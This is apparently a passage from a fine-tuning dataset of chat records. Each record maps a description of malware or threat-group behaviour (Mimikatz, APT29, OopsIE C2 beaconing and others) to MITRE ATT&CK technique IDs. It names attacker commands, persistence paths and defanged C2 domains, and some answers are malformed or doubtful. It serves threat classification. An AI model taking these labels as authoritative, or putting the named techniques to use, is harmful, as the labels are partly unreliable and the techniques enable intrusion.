                "content": "Just like in the sandbox checks, the Trojan checks for an attached debugger each time it issues a DNS query; if it does detect a debugger it will issue a DNS query to resolve 676f6f646c75636b.gogle[.]co"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1124 - System Time Discovery', 'T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed dropping password grabber modules including Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One variant of BlackEnergy creates a new service using either a hard-coded or randomly generated name."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs the MimiKatz tool and launches a DCShadow attack (lsadump::dcshadow)"
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINERACK can gather information about the host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware can also get into the system through certain vulnerability exploits.. The abuse of the aforementioned Adobe ColdFusion flaw (CVE-2010-2861) to enter the system is a new development for the threat. In the past, Cring was also used to exploit a FortiGate VPN server vulnerability (CVE-2018-13379)."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution', 'T1588.006 - Vulnerabilities', 'T1587.004 - Exploits', 'T1499.004 - Application or System Exploitation', 'T1190 - Exploit Public-Facing Application', 'T1210 - Exploitation of Remote Services', 'T1588.005 - Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Ritsol backdoor trojan used by Elderwood can download files onto a compromised host from a remote location."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Dust Storm, the threat actors used UPX to pack some payloads."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected. As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file. The group notably abuses Excel 4.0 macro — a particularly old macro likely used to evade typical macro detection"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "and then deletes the original launcher"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CozyCar has executed Mimikatz to harvest stored credentials from the victim and further victim penetration."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "down_new has the ability to list running processes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has presented the user with a UAC prompt to elevate privileges while installing."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to execute shell commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We are still analyzing this Trojan to determine the specific structure of the data sent between the Trojan and the C2 server; however, it does appear that the Trojan is using the RC4 algorithm to encrypt data sent to the C2 server within HTTP POST requests"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY encrypts C2 traffic with AES and RSA."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zox has the ability to use SMB for communication."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used steganography to hide C2 communications in images."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Molerats used various implants, including those built on .NET, on target machines."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "’s LSADUMP::DCSync, KERBEROS::Golden, and KERBEROS::PTT modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "connects to external C2 infrastructure over the HTTP port."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has set up custom DNS servers to send commands to compromised hosts via TXT records."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elknot, also known as BillGates, a very long live and active ddos botnet which targeted Linux systems and was later ported to the Windows platform[4]。. . Now we see Elknot setting its foot on both platforms for this vulnerability, and sharing the same C2 ."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can determine the IP addresses of domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload is an application that creates a hidden window (the name of the class and the window is SK_Parasite"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OceanSalt can collect the victim’s IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first versions of these new USB stealer modules appeared around February 2015 and the latest appear to have been compiled in May 2015. Older versions of these USBSTEALER modules were previously described by our colleagues from ESET."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has accessed and hijacked online email communications using stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch (LZW) algorithm."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Linux has used ICMP, custom TCP, and UDP in outbound communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang malware RoyalDNS has used DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to execute the command net start to interact with services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may also receive batch commands from the C2 server to collect host information from the system. An example batch command is provided in Figure 11"
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups', 'T1069.001 - Permission Groups Discovery: Local Groups', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The NetWire payloads in all observed campaigns included nearly identical configurations. Specifically, the C2 domain clients[.]enigmasolutions[.]xyz and the password were the same"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P2P ZeuS added junk data to outgoing UDP packets to peer implants."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://&lt;c2 domain&gt;/chk. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used tools that communicate with C2 over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky achieves persistence by creating a Registry entry in \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used valid accounts, including administrator accounts, to help facilitate lateral movement on compromised networks."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While some variations exist in functionalities, the main purpose of these modules is to enumerate all documents on a compromised system and upload them to the C&amp;C server. These file stealers can also download and execute arbitrary code from the C&amp;C server. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used batch scripts in its malware to install persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can gain system level privilege by passing \"SeDebugPrivilege\" to the \"AdjustTokenPrivilege\" API."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After encrypting log files, the log encryption module in  deletes the original, unencrypted files from the host."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang can enumerate domain groups by executing \"net.exe group /domain\"."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rundll32.exe is used as a way of executing Flame at the command-line."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in  collects information from the victim about installed anti-virus software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware gathers the victim's local IP address, MAC address, and external IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HiddenWasp downloads a tar compressed archive from a download server to the system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer used several tools for retrieving login and password information, including LaZagne and Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary injects its DLL file into a newly spawned Internet Explorer process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As seen in Figure 2, the VBA code builds the email body and attaches the malicious document to the email. We’ve seen both .docx and .lnk files being used as attachments. These are very similar to the content of the malicious attachments used in Gamaredon’s initial spearphishing campaigns. Figure 3 shows an email generated by this malicious component"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encryption is definitely the simplest method to hide the C&amp;C server. We have encountered cases where the port has been stored in the data section, in the Delphi form data, or randomly chosen from a range"
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader can write to the Registry under the \"%windir%\" variable to execute tasks."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has created a hidden directory under \"C:\\ProgramData\\Apple\\Updates\\\" and \"C:\\Users\\Public\\Documents\\Flash\\\"."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has collected e-mail addresses from targeted organizations from open Internet searches."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can record sound with the microphone."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon renamed a malicious service \"taskmgr\" to appear to be a legitimate version of Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tasklist can be used to discover processes running on a system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "added \"junk data\" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a \"junk length\" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services"
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has consistently used a technique known as search order hijacking to run Vcrodat."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has encrypted its payload, a virtual file system, and various files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can search a list of running processes for Tr.exe."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XTunnel has been used to execute remote commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "relays traffic between a C2 server and a victim."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe has a command to delete a file from the machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has created new domain accounts on an ICS access server."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The locations:  For root user  path: /Library/CoreMediaIO/Plug-Ins/FCP-DAL/iOSScreenCapture.plugin/Contents/Resources/ processname: screenassistantd  For regular user  path: ~/Library/Spelling/ processname: spellagentd Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Web Shell is a file containing backdoor functionality written in a web scripting language such ASP, ASPX, PHP or JSP. When a web shell is hosted on an internet facing victim system, an adversary can remotely access the system to perform malicious actions. Deep Panda is a China based threat group CrowdStrike has observed targeting companies in the defense, legal, telecommunication and financial industries. Crowdstrike has observed Deep Panda adopting web shells as their primary access back into a victim organization. This is an interesting shift as web shells have typically been seen as only a first stage into obtaining a persistent foothold in an environment. Previously, web shells were quickly abandoned once persistent second stage malware was successfully beaconing. Using a web shell as a primary backdoor gives Deep Panda several advantages"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
